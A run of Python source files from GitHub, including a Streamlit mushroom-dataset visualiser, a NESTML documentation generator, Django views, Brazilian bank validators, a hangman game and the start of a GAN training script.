ticktext=['buff','cinnamon','red','grey', 'brown','orange', 'pink', 'white','yellow']\n ))\n st.write(fig1)\n st.write('From the above plots we can observe that: \\n'\n '\\n ➡ The rooted stalk-root is seen in edible mushrooms whereas club root type is seen in edible mushroom largely as compared to posionous.\\n'\n '\\n ➡ The stalk surface above ring type silky is mostly seen poisonous. \\n'\n '\\n ➡ The stalk surface below ring types scaly and fibrous is mostly seen edible. \\n'\n \n \n )\n st.markdown(\"### **• The Veil Properties of mushroom**\")\n st.markdown(body=\"A veil or velum, in mycology, is one of several structures in fungi, especially the thin membrane that covers the cap and stalk of an immature mushroom.\")\n if st.sidebar.checkbox(\"Veil Properties\",False,key=4):\n st.markdown(\"Following bar chart shows number of veil colors according to mushroom classes. Most of the mushrooms have white veil color in dataset. Also edible mushrooms veil colors can be orange or brown.\")\n value1=df.groupby(['type','veil-color']).count()\n \n\n\n\n\n trace1 = go.Bar(\n x=value1.iloc[0:3,0].index.get_level_values('veil-color'),\n y=value1.iloc[0:3,0],\n text=['brown','orange'],\n textposition = 'auto',\n name=\"Edible\",\n marker=dict(\n color='rgb(158,202,225)',\n line=dict(\n color='rgb(8,48,107)',\n width=1.5),\n ),\n opacity=0.6\n )\n\n trace2 = go.Bar(\n x=value1.iloc[3:5,0].index.get_level_values('veil-color'),\n y=value1.iloc[3:5,0],\n text=['white','yellow'],\n name=\"Poisonous\",\n textposition = 'auto',\n marker=dict(\n color='rgb(58,200,225)',\n line=dict(\n color='rgb(8,48,107)',\n width=1.5),\n ),\n opacity=0.6\n \n )\n Layout=go.Layout(\n title='Veil Colors',\n barmode='stack',\n paper_bgcolor='rgba(245, 246, 249, 1)',\n plot_bgcolor='rgba(245, 246, 249, 1)'\n \n )\n\n data65 = [trace1,trace2]\n fig = go.Figure(data=data65, layout=Layout)\n st.write(fig)\n st.write('From the above plot we can observe that: \\n'\n '\\n ➡ Both the categories of mushrooms have white as the most predominant veil colour. \\n'\n )\n \n st.markdown(\"### **• The Spore Print Colour Properties of mushroom**\")\n st.markdown(body=\"The spore print is the powdery deposit obtained by allowing spores of a fungal fruit body to fall onto a surface underneath. It is an important diagnostic character in most handbooks for identifying mushrooms. \")\n if st.sidebar.checkbox(\"Spore Print Properties\",False,key=5):\n st.markdown(\"Following Pie chart shows spore print colours according to mushroom classes.\") \n value1=df.groupby(['type','spore-print-color']).count() \n #st.write(value1)\n \n fig = {\n \"data\": [\n {\n \"values\": [1744,1648,576,48,48,48,48,48],\n \"labels\": ['Brown','Black','White','Orange',\"Purple\",\"Chocolate\",\"Yellow\",\"Buff\"],\n \"domain\": {\"column\": 0},\n \"name\": \"Edible Mushrooms\",\n \"hoverinfo\":\"label+percent+name\",\n \"type\": \"pie\",\n \"hole\": .4,\n 'marker': {'colors': ['brown', 'black', 'white', 'orange',\"purple\",\"sienna\",\"yellow\",\"peru\"],\n \"line\":{\"color\":'#000000',\"width\":2}}\n },\n {\n \"values\": [1812,1584,224,224,72],\n \"labels\": [\"White\",\"Chocolate\",\"Brown\",\"Black\",\"Green\"], \n \"domain\": {\"column\": 1},\n \"name\": \"Poisonous Mushrooms\",\n \"hoverinfo\":\"label+percent+name\",\n \"hole\": .4,\n \"type\": \"pie\",\n \"marker\": {\"colors\":[\"white\",\"sienna\",\"brown\",\"black\",\"green\"],\n \"line\":{\"color\":'#000000',\"width\":2}}\n\n }],\n \"layout\": {\n \n \"title\":\"Edible and Poisonous Mushrooms Spore Print Color Percentages\",\n \"grid\": {\"rows\": 1, \"columns\": 2},\n \"annotations\": [\n {\n \"font\": {\n \"size\": 20\n },\n \"showarrow\": False,\n \"text\": \"Edible\",\n \"x\": 0.20,\n \"y\": 1.05\n },\n {\n \"font\": {\n \"size\": 20\n },\n \"showarrow\": False,\n \"text\": \"Poisonous\",\n \"x\": 0.85,\n \"y\": 1.05\n }\n ]\n }\n } \n fig = go.Figure(data=fig['data'],layout=fig['layout'])\n \n st.write(fig) \n st.write('From the above plot we can observe that: \\n'\n '\\n ➡ Most of the edible mushrooms are either brown or black in colour. \\n'\n '\\n ➡ Most of the poisonous mushrooms are either white or Chocolate in colour. \\n'\n ) \n\n st.markdown(\"### **• Population & Habitat of the Mushroon**\")\n st.markdown(body=\"Mushrooms are found in a great variety of habitats, although each species may limited in the number of these it can occupy. For example, a mushroom that usually grows on rotting logs in the forest is unlikely to be found in sand dunes. This is one of the great appeals of mushroom hunting: visit a habitat new to you and you will probably find species of mushrooms you have never seen.\")\n\n if st.sidebar.checkbox(\"Population & Habitat\",False,key=1):\n st.write('The following Parallel plot will help you understand the relationship of Population and Habitat.')\n ##create dimensions\n type_dim = go.parcats.Dimension(\n values = df.type,\n label = \"types\",\n categoryarray = [0,1],\n # categoryorder= 'category ascending',\n ticktext= ['edible','poisonous']\n\n )\n population_dim = go.parcats.Dimension(\n values = df['population'].values,\n label = \"Population\",\n categoryarray = [0,1,2,3,4,5,6],\n # categoryorder= 'category ascending',\n ticktext= ['abundant','clustered','numerous','scattered','several','solitary'],\n\n )\n habitat_dim = go.parcats.Dimension(\n values = df['habitat'].values,\n label = \"Habitat\",\n categoryarray = [0,1,2,3,4,5,6],\n # categoryorder= 'category ascending',\n ticktext= ['woods','grasses','leaves','meadows','paths','urban','waste']\n\n )\n \n color = df.type\n colorscale = [[0, 'rebeccapurple'], [1, 'lightsalmon']]\n #colorscale = [[0, 'lightblue'], [1, 'violet']]\n fig = go.Figure(data = [go.Parcats(dimensions=[type_dim, population_dim, habitat_dim ],\n line={'color': color, 'colorscale': colorscale},\n hoveron='dimension', hoverinfo='count+probability',\n labelfont={'size': 18, 'family': 'Times'},\n tickfont={'size': 16, 'family': 'Times'},\n arrangement='fixed')])\n fig.update_layout(height=500, width=800,paper_bgcolor='rgb(243, 243, 243)')\n st.write(fig)\n st.write('We have used parallel category diagram as parallel plot or parallel coordinates plot allows to compare the feature of several individual observations (series) on a set of numeric variables. Each vertical bar represents a variable and often has its own scale. (The units can even be different). Values are then plotted as series of lines connected across each axis.')\n st.write('From the graph we can infer that: \\n ➡ Maximum number of the posionous mushrooms have a population type of either several or solitary.\\n'\n ' \\n ➡ Edible mushrooms show diversity in their population type.\\n '\n '\\n ➡ Maximum number of edible mushrooms woods or grasses type habitat.')\n\n main_mod()\n\n # @st.cache(persist=True)\n # def split(df):\n # X = df.drop(columns=['type'])\n # Y = df.type\n # X_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.2)\n # return X_train,X_test,Y_train,Y_test\n\n # X_train,X_test,Y_train,Y_test = split(df)\n\n \n \n\n # loaded_model_svc = pickle.load(open('svc_model.sav', 'rb'))\n # result = loaded_model_svc.score(X_test, Y_test)\n # st.write(result)\n \n # loaded_model_rf = pickle.load(open('ran_fo_model.sav', 'rb'))\n # result1 = loaded_model_rf.score(X_test, Y_test)\n # st.write(result1)\n\n # loaded_model_lr = pickle.load(open('lr_model.sav', 'rb'))\n # result2 = loaded_model_lr.score(X_test, Y_test)\n # st.write(result2)\n # y_pred = loaded_model_svc.predict(X_test)\n # cm = confusion_matrix(Y_test, y_pred)\n # # confusion_matrix = confusion_matrix.astype(int)\n\n # layout = {\n # \"title\": \"Confusion Matrix\", \n # \"xaxis\": {\"title\": \"Predicted value\"}, \n # \"yaxis\": {\"title\": \"Real value\"}\n # }\n\n # fig = go.Figure(data=go.Heatmap(z=cm,x=['edible','poisonous'],y=['edible','poisonous']),\n # layout=layout)\n # st.write(fig)\n\n\n \n \n \n \n \n \n\n \n \nif __name__ == \"__main__\":\n main() \n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n","repo_name":"drishti-agarwal/Mushroom_Toxicity_Analysis","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":34338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73276477636","text":"from typing import Sequence, Union\n\nimport datetime\nimport os\nimport textwrap\n\nfrom jinja2 import Environment, FileSystemLoader\n\nfrom pynestml.codegeneration.code_generator import CodeGenerator\nfrom pynestml.codegeneration.nest_assignments_helper import NestAssignmentsHelper\nfrom pynestml.codegeneration.printers.latex_expression_printer import LatexExpressionPrinter\nfrom pynestml.codegeneration.printers.latex_function_call_printer import LatexFunctionCallPrinter\nfrom pynestml.codegeneration.printers.constant_printer import ConstantPrinter\nfrom pynestml.codegeneration.printers.latex_simple_expression_printer import LatexSimpleExpressionPrinter\nfrom pynestml.codegeneration.printers.latex_variable_printer import LatexVariablePrinter\nfrom pynestml.frontend.frontend_configuration import FrontendConfiguration\nfrom pynestml.meta_model.ast_neuron import ASTNeuron\nfrom pynestml.meta_model.ast_synapse import ASTSynapse\nfrom pynestml.utils.ast_utils import ASTUtils\nfrom pynestml.utils.logger import Logger\n\n\nclass AutoDocCodeGenerator(CodeGenerator):\n\n def __init__(self):\n # setup the template environment\n env = Environment(loader=FileSystemLoader(os.path.join(os.path.dirname(__file__), 'resources_autodoc')))\n self._template_nestml_models_index = env.get_template('nestml_models_index.jinja2')\n # setup the module class template\n self._template_neuron_nestml_model = env.get_template('nestml_neuron_model.jinja2')\n self._template_synapse_nestml_model = env.get_template('nestml_synapse_model.jinja2')\n\n variable_printer = LatexVariablePrinter(None)\n function_call_printer = LatexFunctionCallPrinter(None)\n self._printer = LatexExpressionPrinter(LatexSimpleExpressionPrinter(variable_printer=variable_printer,\n constant_printer=ConstantPrinter(),\n function_call_printer=function_call_printer))\n variable_printer._expression_printer = self._printer\n function_call_printer._expression_printer = self._printer\n\n def generate_code(self, models: Sequence[Union[ASTNeuron, ASTSynapse]]) -> None:\n \"\"\"\n Generate model documentation and index page for each neuron and synapse that is provided.\n \"\"\"\n if not os.path.isdir(FrontendConfiguration.get_target_path()):\n os.makedirs(FrontendConfiguration.get_target_path())\n neurons = [model for model in models if isinstance(model, ASTNeuron)]\n synapses = [model for model in models if isinstance(model, ASTSynapse)]\n self.generate_index(neurons, synapses)\n self.generate_neurons(neurons)\n self.generate_synapses(synapses)\n\n for astnode in neurons + synapses:\n if Logger.has_errors(astnode):\n raise Exception(\"Error(s) occurred during code generation\")\n\n def generate_index(self, neurons: Sequence[ASTNeuron], synapses: Sequence[ASTSynapse]):\n \"\"\"\n Generate model documentation and index page for each neuron and synapse that is provided.\n \"\"\"\n nestml_models_index = self._template_nestml_models_index.render(self.setup_index_generation_helpers(neurons, synapses))\n with open(str(os.path.join(FrontendConfiguration.get_target_path(), 'index.rst')), 'w+') as f:\n f.write(str(nestml_models_index))\n\n def generate_neuron_code(self, neuron: ASTNeuron):\n \"\"\"\n Generate model documentation for neuron model.\n :param neuron: a single neuron object.\n \"\"\"\n nestml_model_doc = self._template_neuron_nestml_model.render(self.setup_neuron_model_generation_helpers(neuron))\n with open(str(os.path.join(FrontendConfiguration.get_target_path(), neuron.get_name())) + '.rst',\n 'w+') as f:\n f.write(str(nestml_model_doc))\n\n def generate_synapse_code(self, synapse: ASTSynapse):\n \"\"\"\n Generate model documentation for synapse model.\n :param synapse: a single synapse object.\n \"\"\"\n nestml_model_doc = self._template_synapse_nestml_model.render(self.setup_synapse_model_generation_helpers(synapse))\n with open(str(os.path.join(FrontendConfiguration.get_target_path(), synapse.get_name())) + '.rst',\n 'w+') as f:\n f.write(str(nestml_model_doc))\n\n def setup_neuron_model_generation_helpers(self, neuron: ASTNeuron):\n \"\"\"\n Returns a namespace for Jinja2 neuron model documentation template.\n\n :param neuron: a single neuron instance\n :return: a map from name to functionality.\n :rtype: dict\n \"\"\"\n namespace = dict()\n\n namespace['now'] = datetime.datetime.utcnow()\n namespace['neuron'] = neuron\n namespace['neuronName'] = str(neuron.get_name())\n namespace['printer'] = self._printer\n namespace['assignments'] = NestAssignmentsHelper()\n namespace['utils'] = ASTUtils()\n\n import textwrap\n pre_comments_bak = neuron.pre_comments\n neuron.pre_comments = []\n namespace['model_source_code'] = textwrap.indent(neuron.__str__(), \" \")\n neuron.pre_comments = pre_comments_bak\n\n return namespace\n\n def setup_synapse_model_generation_helpers(self, synapse: ASTSynapse):\n \"\"\"\n Returns a namespace for Jinja2 synapse model documentation template.\n\n :param neuron: a single neuron instance\n :return: a map from name to functionality.\n :rtype: dict\n \"\"\"\n namespace = dict()\n\n namespace['now'] = datetime.datetime.utcnow()\n namespace['synapse'] = synapse\n namespace['synapseName'] = str(synapse.get_name())\n namespace['printer'] = self._printer\n namespace['assignments'] = NestAssignmentsHelper()\n namespace['utils'] = ASTUtils()\n\n pre_comments_bak = synapse.pre_comments\n synapse.pre_comments = []\n namespace['model_source_code'] = textwrap.indent(synapse.__str__(), \" \")\n synapse.pre_comments = pre_comments_bak\n\n return namespace\n\n def setup_index_generation_helpers(self, neurons: Sequence[ASTNeuron], synapses: Sequence[ASTSynapse]):\n \"\"\"\n Returns a namespace for Jinja2 neuron model index page template.\n\n :param neurons: a list of neuron instances\n :return: a map from name to functionality.\n :rtype: dict\n \"\"\"\n\n namespace = dict()\n\n namespace['now'] = datetime.datetime.utcnow()\n namespace['neurons'] = neurons\n namespace['synapses'] = synapses\n namespace['neuronNames'] = [str(neuron.get_name()) for neuron in neurons]\n namespace['synapseNames'] = [str(neuron.get_name()) for neuron in neurons]\n namespace['printer'] = self._printer\n namespace['assignments'] = NestAssignmentsHelper()\n namespace['utils'] = ASTUtils()\n\n return namespace\n","repo_name":"nest/nestml","sub_path":"pynestml/codegeneration/autodoc_code_generator.py","file_name":"autodoc_code_generator.py","file_ext":"py","file_size_in_byte":6966,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"62"} +{"seq_id":"6705649673","text":"from rest_framework.serializers import ValidationError\nfrom banco_digital.models import cliente\n\n\ndef validar_campo_numerico(value):\n \"\"\"Verifica se o campo é númerico. Se for númerico, não retorna nada,\n e se não for númerico, resulta em erro.\"\"\"\n if not value.isdigit():\n raise ValidationError(\"O campo deve conter apenas números\")\n\n return None\n\n\ndef validate_cpf(valor):\n return valor\n\n\ndef validar_campo_unico_cliente(campo, valor):\n \"\"\"Valida se já há um Cliente com o valor igual no campo especificado.\n\n Args:\n campo (str): campo a ser validado --> [\"cpf\", \"cnpj]\n valor (str): valor do campo\n \"\"\"\n print(campo, valor)\n\n if campo == \"cpf\":\n contagem = cliente.Cliente.objects.filter(cpf=valor).count()\n elif campo == \"cnpj\":\n contagem = cliente.Cliente.objects.filter(cnpj=valor).count()\n\n if contagem != 0:\n raise ValidationError({f\"{campo}\": f\"Já existe Cliente com o {campo}={valor}.\"})\n\n return None\n\n\ndef validar_tipo_cpf_cnpj(data):\n \"\"\"Verifica as condições de existência entre tipo(pessoa), cpf e cnpj.\n Se as condições forem garantidas, não retorna nada,\n caso contrário, resulta em erro.\n - PF:\n - CNPJ deve ser None\n - CPF NÃO deve ser None\n - Se o CPF é único\n - PJ:\n - Se pessoa jurídica CPF deve ser None\n - Se pessoa jurídica CNPJ NÃO deve ser None\n - Se o CNPJ é único\n\n \"\"\"\n\n if data.get(\"tipo\") == \"PF\":\n # NAO DEVE TER\n if data.get(\"cnpj\") is not None:\n raise ValidationError(\n {\"cnpj\": \"Esse campo não deve ser passado para pessoa física\"}\n )\n\n # DEVE TER\n if data.get(\"cpf\") is None:\n raise ValidationError(\n {\"cpf\": \"Esse campo é obrigatório para pessoa física\"}\n )\n\n # E ALEM DE TER DEVE SER UNCO\n else:\n validar_campo_unico_cliente(\"cpf\", data.get(\"cpf\"))\n\n elif data.get(\"tipo\") == \"PJ\":\n # NAO DEVE TER\n if data.get(\"cpf\") is not None:\n raise ValidationError(\n {\"cpf\": \"Esse campo não deve ser passado para pessoa jurídica\"}\n )\n\n # DEVE TER\n if data.get(\"cnpj\") is None:\n raise ValidationError(\n {\"cnpj\": \"Esse campo é obrigatório para pessoa jurídica\"}\n )\n # E ALEM DE TER DEVE SER UNCO\n else:\n validar_campo_unico_cliente(\"cnpj\", data.get(\"cnpj\"))\n\n return None\n","repo_name":"miguelzph/semifinal_stone","sub_path":"banco_digital/validators/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40047911846","text":"# -*- coding: utf-8 -*-\n\"\"\"Check error estimation\"\"\"\nimport numpy as np\nfrom numpy.random import dirichlet, multinomial\nfrom scipy.stats import entropy as sp_entropy\n\nimport ndd\n\nR = 100 # number of repetitions\nN = 100000\nK = 1000000\nALPHA = 1.0\n\nnp.random.seed(42)\n\n\ndef error(alpha, n):\n \"\"\"Return the actual error and the estimated uncertainty (normalized)\"\"\"\n k = len(alpha)\n pvals = dirichlet(alpha)\n counts = multinomial(n, pvals)\n h0 = sp_entropy(pvals)\n h, std = ndd.entropy(counts, k=k, return_std=True)\n return (h - h0) / h0, std / h0\n\n\nif __name__ == '__main__':\n for N in np.logspace(2, 6, 100):\n print(*error([ALPHA] * K, N))\n","repo_name":"simomarsili/ndd","sub_path":"utils/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"62"} +{"seq_id":"36265032097","text":"from random_word import RandomWords\n\nwords = RandomWords()\n\ncurrent_word = \"\"\nchars = []\nsolved_chars = []\nguesses = []\n\nincorrect_guesses = 0\n\nHANGMANPICS = [\n \"\"\"\n +---+\n | |\n |\n |\n |\n |\n=========\"\"\",\n \"\"\"\n +---+\n | |\n O |\n |\n |\n |\n=========\"\"\",\n \"\"\"\n +---+\n | |\n O |\n | |\n |\n |\n=========\"\"\",\n \"\"\"\n +---+\n | |\n O |\n /| |\n |\n |\n=========\"\"\",\n \"\"\"\n +---+\n | |\n O |\n /|\\ |\n |\n |\n=========\"\"\",\n \"\"\"\n +---+\n | |\n O |\n /|\\ |\n / |\n |\n=========\"\"\",\n \"\"\"\n +---+\n | |\n O |\n /|\\ |\n / \\ |\n |\n=========\"\"\",\n]\n\n\ndef generateWord():\n word = words.get_random_word()\n return word\n\n\ndef splitWord(word):\n global chars\n global solved_chars\n global current_word\n current_word = word\n for char in str(word):\n chars.append(char)\n solved_chars.append(\"_\")\n\n\ndef checkChar(char):\n global incorrect_guesses\n global guesses\n correctGuess = False\n guesses.append(char)\n\n for index, guess in enumerate(guesses):\n if guess == char:\n print(\"You already chose this character\")\n break\n\n for index, letter in enumerate(chars):\n if letter == char:\n solved_chars[index] = char\n chars[index] = \"_\"\n correctGuess = True\n\n if correctGuess == False:\n incorrect_guesses += 1\n return correctGuess\n\n\ndef updateDisplay():\n solved = \"\"\n for char in solved_chars:\n solved = solved + str(char)\n print(solved)\n print(HANGMANPICS[incorrect_guesses])\n\n\ndef playGame(choice):\n correct = checkChar(choice)\n winner = True\n if correct == None:\n print(\"Choose again \\n\")\n\n if correct == True:\n print(\"You chose correctly\")\n updateDisplay()\n if correct == False:\n if incorrect_guesses == 6:\n print(\"You Lose!\")\n print(f\"The word was {current_word}\")\n exit()\n print(\"You chose incorrectly\")\n updateDisplay()\n for char in solved_chars:\n if char == \"_\":\n winner = False\n print(f\"Your Guesses: {guesses}\")\n\n return winner\n\n\nplaying = True\n\ncurrentWord = generateWord()\nsplitWord(currentWord)\n\n\nwhile playing:\n playerChar = input(\"Enter a letter \\n\")\n if (len(playerChar) > 1) or (len(playerChar) < 1):\n print(\"Invalid choice, please pick again.\")\n win = False\n else:\n win = playGame(playerChar)\n\n if win == True:\n print(\"You Win!\")\n playing = False\n","repo_name":"JeffreyBoehme/100-days-of-AI-Code","sub_path":"Day 7/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7982342598","text":"from django.conf import settings\r\nfrom django.contrib import messages\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.core.urlresolvers import reverse\r\nfrom django.db import IntegrityError\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom django.shortcuts import get_object_or_404\r\nfrom django.template import loader, RequestContext\r\nfrom django.views.decorators.csrf import csrf_exempt\r\n\r\nfrom channels.models import Channel\r\nfrom interests.models import Interest\r\nfrom notifications.models import Notification\r\nfrom sessions.decorators import sign_in_required\r\nfrom skills.models import Skill\r\nfrom spadetree.utils import add_csrf\r\n\r\nimport json\r\nimport re\r\n\r\n@sign_in_required\r\ndef delete(request, pk, format=None):\r\n \"\"\"Delete skill with pk for user.\"\"\"\r\n skill = get_object_or_404(Skill, pk=pk)\r\n if request.method == 'POST' and request.user == skill.user:\r\n interest = skill.interest\r\n skill_pk = skill.pk\r\n skill.delete()\r\n # Look for channel for interest\r\n try:\r\n channel = Channel.objects.get(interest=interest)\r\n except Channel.DoesNotExist:\r\n # Create the channel if it doesn't exist\r\n channel = Channel.objects.create(interest=interest)\r\n # Delete the notification for this channel from this user\r\n try:\r\n notification = channel.notification_set.get(user=request.user)\r\n notification.delete()\r\n except Notification.DoesNotExist:\r\n pass\r\n # Unsubscribe from channel\r\n channel.unsubscribe(request.user)\r\n if format:\r\n if format == '.js':\r\n data = {\r\n 'skill_pk': skill_pk,\r\n }\r\n return HttpResponse(json.dumps(data),\r\n mimetype='application/json')\r\n else:\r\n messages.warning(request, 'Skill deleted')\r\n return HttpResponseRedirect(reverse('users.views.edit',\r\n args=[request.user.profile.slug]))\r\n\r\n@sign_in_required\r\n@csrf_exempt\r\ndef delete_skill(request, pk):\r\n \"\"\"Delete skill based on interest pk from app.\"\"\"\r\n success = 0\r\n if request.method == 'POST':\r\n interest = get_object_or_404(Interest, pk=pk)\r\n try:\r\n skill = request.user.skill_set.get(interest=interest)\r\n skill.delete()\r\n # Look for channel for interest\r\n try:\r\n channel = Channel.objects.get(interest=interest)\r\n except Channel.DoesNotExist:\r\n # Create the channel if it doesn't exist\r\n channel = Channel.objects.create(interest=interest)\r\n # Delete the notification for this channel from this user\r\n try:\r\n notification = channel.notification_set.get(user=request.user)\r\n notification.delete()\r\n except Notification.DoesNotExist:\r\n pass\r\n # Unsubscribe from channel\r\n channel.unsubscribe(request.user)\r\n success = 1\r\n except Skill.DoesNotExist:\r\n pass\r\n data = {\r\n 'success': success,\r\n }\r\n return HttpResponse(json.dumps(data), mimetype='application/json')\r\n\r\n@sign_in_required\r\n@csrf_exempt\r\ndef new(request, format=None):\r\n \"\"\"Create a new skill using a new or existing interest.\"\"\"\r\n if request.method == 'POST' and request.POST.get('names'):\r\n names = request.POST.get('names').split(',')\r\n skills = []\r\n json_skill = None\r\n for raw_name in names:\r\n raw_name = raw_name.strip().lower()\r\n name = re.sub('[^- \\w]', '', raw_name)\r\n try:\r\n # Check to see if interest exists\r\n interest = Interest.objects.get(name=name)\r\n except Interest.DoesNotExist:\r\n # If interest does not exist, create one\r\n interest = Interest(name=name)\r\n interest.save()\r\n try:\r\n # Check to see if user has this skill\r\n skill = request.user.skill_set.get(interest=interest)\r\n message = 'You already have this skill'\r\n except Skill.DoesNotExist:\r\n # If user does not have this skill, create it\r\n skill = request.user.skill_set.create(interest=interest)\r\n message = 'Skill added'\r\n # Add multiple skills\r\n skills.append(skill)\r\n # Look for channel for interest\r\n try:\r\n channel = Channel.objects.get(interest=interest)\r\n except Channel.DoesNotExist:\r\n # Create the channel if it doesn't exist\r\n channel = Channel.objects.create(interest=interest)\r\n # Post notification for this interest\r\n channel.create_notification(request.user, 'new')\r\n # Subscribe to channel for this interest\r\n channel.subscribe(request.user)\r\n json_skill = skill\r\n if format:\r\n if format == '.js':\r\n skill_add_form = loader.get_template(\r\n 'skills/skill_add_form.html')\r\n context = RequestContext(request, add_csrf(request, \r\n { 'static': settings.STATIC_URL }))\r\n forms = []\r\n for skill in skills:\r\n skill_dict = {\r\n 'skill': skill,\r\n 'static': settings.STATIC_URL,\r\n }\r\n form = loader.get_template('skills/skill_delete_form.html')\r\n c = RequestContext(request, add_csrf(request, skill_dict))\r\n forms.append(form.render(c))\r\n data = {\r\n 'skill_add_form': skill_add_form.render(context),\r\n 'skill_delete_forms': ''.join(forms),\r\n }\r\n return HttpResponse(json.dumps(data), \r\n mimetype='application/json')\r\n elif format == '.json':\r\n data = {}\r\n if json_skill:\r\n data['interest'] = json_skill.interest.to_json()\r\n return HttpResponse(json.dumps(data),\r\n mimetype='application/json')\r\n else:\r\n messages.success(request, message)\r\n return HttpResponseRedirect(reverse('users.views.edit',\r\n args=[request.user.profile.slug]))","repo_name":"tommydangerous/spadetree","sub_path":"skills/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"817301638","text":"\"\"\"\nMain script to train the IEAGAN model\n\"\"\"\nimport argparse\nimport datetime\nimport json\n\nimport torch\nfrom tqdm import tqdm\n\n# Import my stuff\nimport layers\nimport model\nimport train_fns\nimport utils\nimport utils.configuration as cf\nfrom utils.logging import MetricsLogger, Logger\nfrom utils.dataloader import load_dataset\nfrom utils.plot import plot_sim_heatmap\n\n\ndef run(config: dict):\n \"\"\"\n The main training file. Config is a dictionary specifying the configuration\n of this training run.\n\n Args:\n config (dict): settings\n \"\"\"\n # By default, skip init if resuming training.\n if config[\"resume\"]:\n print(\"Skipping initialization for training resumption...\")\n config[\"skip_init\"] = True\n\n device = config[\"device\"]\n\n # Seed RNG\n utils.seed_rng(config[\"seed\"])\n\n # Setup cudnn.benchmark for free speed\n torch.backends.cudnn.benchmark = True\n\n # Next, build the model\n G = model.Generator(**config).to(device)\n D = model.Discriminator(**config).to(device)\n\n # If using EMA, prepare it\n if config[\"ema\"]:\n print(\"Preparing EMA for G with decay of {}\".format(config[\"ema_decay\"]))\n G_ema = model.Generator(**{**config, \"skip_init\": True, \"no_optim\": True}).to(device)\n ema = utils.apply_ema(G, G_ema, config[\"ema_decay\"], config[\"ema_start\"])\n else:\n G_ema, ema = None, None\n\n # FP16?\n if config[\"G_fp16\"]:\n print(\"Casting G to float16...\")\n G = G.half()\n if config[\"ema\"]:\n G_ema = G_ema.half()\n if config[\"D_fp16\"]:\n print(\"Casting D to fp16...\")\n D = D.half()\n\n GD = model.G_D(G, D)\n # print(G)\n # print(D)\n print(\"Number of params in G: {} D: {}\".format(*[sum([p.data.nelement() for p in net.parameters()]) for net in [G, D]]))\n # Prepare state dict, which holds things like epoch # and itr #\n state_dict = {\n \"itr\": 0,\n \"epoch\": 0,\n \"save_num\": 0,\n \"save_best_num\": 0,\n \"best_FID\": 999999,\n }\n\n # If loading from a pre-trained model, load weights\n if config[\"resume\"]:\n print(\"Loading weights...\")\n utils.load_weights(\n G,\n D,\n state_dict,\n config,\n weight_name=config[\"load_weights\"] if config[\"load_weights\"] else None,\n G_ema=G_ema if config[\"ema\"] else None,\n load_optim=config[\"load_optim\"]\n )\n\n if G.lr_sched is not None:\n G.lr_sched.step(state_dict[\"epoch\"])\n if D.lr_sched is not None:\n D.lr_sched.step(state_dict[\"epoch\"])\n\n # Prepare loggers for stats; metrics holds test metrics,\n # lmetrics holds any desired training metrics.\n test_log = MetricsLogger(config)\n print(f\"Inception Metrics will be saved to {test_log.metriclogpath.absolute()}\")\n train_log = Logger(config)\n print(f\"Training Metrics will be saved to {train_log.logroot.absolute()}\")\n\n # Write metadata\n utils.write_metadata(config, state_dict)\n\n # Prepare dataloader\n loader = load_dataset(\n config[\"dataroot\"],\n config[\"num_workers\"],\n config[\"shuffle\"]\n )\n\n # Prepare noise and randomly sampled label arrays\n # Allow for different batch sizes in G\n G_batch_size = max(config[\"G_batch_size\"], config[\"batch_size\"])\n\n z_, y_ = utils.prepare_z_y(\n G_batch_size,\n G.dim_z,\n config[\"n_classes\"],\n device=device,\n fp16=config[\"G_fp16\"],\n z_dist=config[\"z_dist\"],\n threshold=config[\"truncated_threshold\"],\n y_dist=\"permuted\",\n ngd=False,\n fixed=False,\n )\n # Prepare a fixed z & y to see individual sample evolution throghout training\n fixed_z, fixed_y = utils.prepare_z_y(\n G_batch_size,\n G.dim_z,\n config[\"n_classes\"],\n device=device,\n fp16=config[\"G_fp16\"],\n z_dist=config[\"z_dist\"],\n threshold=config[\"truncated_threshold\"],\n y_dist=\"permuted\",\n ngd=False,\n fixed=True,\n )\n fixed_z.sample_()\n fixed_y.sample_()\n # fixed_y = torch.randperm(40, device=device, requires_grad=False)\n print(f\"The fixed_y is: {fixed_y}\")\n # Loaders are loaded, prepare the training function\n if config[\"debug\"]:\n # debugging, use the dummy train fn\n train = train_fns.dummy_training_function()\n else:\n train = train_fns.GAN_training_function(G, D, GD, z_, y_, ema, state_dict, config, device)\n\n print(\"Beginning training at epoch %d...\" % state_dict[\"epoch\"])\n start_time = datetime.datetime.now()\n total_iters = config[\"num_epochs\"] * len(loader)\n\n # Train for specified number of epochs, although we mostly track G iterations.\n for epoch in range(state_dict[\"epoch\"], config[\"num_epochs\"]):\n pbar = tqdm(loader)\n for _, (x, y) in enumerate(pbar):\n # Increment the iteration counter\n state_dict[\"itr\"] += 1\n # Make sure G and D are in training mode, just in case they got set to eval\n # For D, which typically doesn't have BN, this shouldn't matter much.\n G.train()\n D.train()\n if config[\"ema\"]:\n G_ema.train()\n if config[\"D_fp16\"]:\n x, y = x.to(device).half(), y.to(device)\n else:\n x, y = x.to(device), y.to(device)\n metrics = train(x, y)\n train_log.log(state_dict[\"itr\"], **metrics)\n\n # Every sv_log_interval, log singular values\n if (config[\"sv_log_interval\"] > 0) and (not (state_dict[\"itr\"] % config[\"sv_log_interval\"])):\n train_log.log(state_dict[\"itr\"], **{**utils.get_singular_values(G, \"G\"), **utils.get_singular_values(D, \"D\")})\n\n if not (state_dict[\"itr\"] % config[\"log_interval\"]):\n curr_time = datetime.datetime.now()\n elapsed = curr_time - start_time\n 